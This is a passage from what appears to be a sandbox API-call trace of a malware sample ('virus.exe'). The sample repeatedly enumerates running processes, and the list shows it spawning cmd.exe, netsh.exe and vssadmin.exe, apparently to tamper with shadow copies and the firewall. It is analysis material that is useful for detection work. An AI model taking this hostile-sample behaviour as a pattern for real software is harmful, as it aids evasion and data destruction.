th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.076] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.077] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0250.077] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.078] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0250.078] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0250.078] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0250.079] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0250.079] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0250.080] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0250.080] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0250.081] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0250.081] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0250.081] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0250.082] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.082] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.082] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0250.083] CloseHandle (hObject=0x1b8) returned 1 [0250.083] Sleep (dwMilliseconds=0x1f4) [0251.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0251.517] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.518] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.518] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.518] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.519] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.519] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.520] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.520] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.521] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.521] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0251.522] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.522] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.522] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.523] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.523] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.524] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.524] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.525] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.525] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.526] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.526] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.527] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0251.527] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.527] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0251.528] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0251.528] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0251.529] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0251.529] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0251.530] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.530] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.531] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0251.531] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0251.532] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.532] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.532] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0251.533] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0251.534] CloseHandle (hObject=0x1b8) returned 1 [0251.534] Sleep (dwMilliseconds=0x1f4) [0252.124] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0252.125] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.126] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.126] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.126] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.127] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.127] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.127] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.128] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.128] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.128] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0252.129] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.129] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.130] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.130] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.130] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.131] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.131] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.131] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.132] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.132] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.132] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.133] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0252.133] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.133] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0252.134] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0252.134] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0252.134] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0252.135] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0252.135] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, 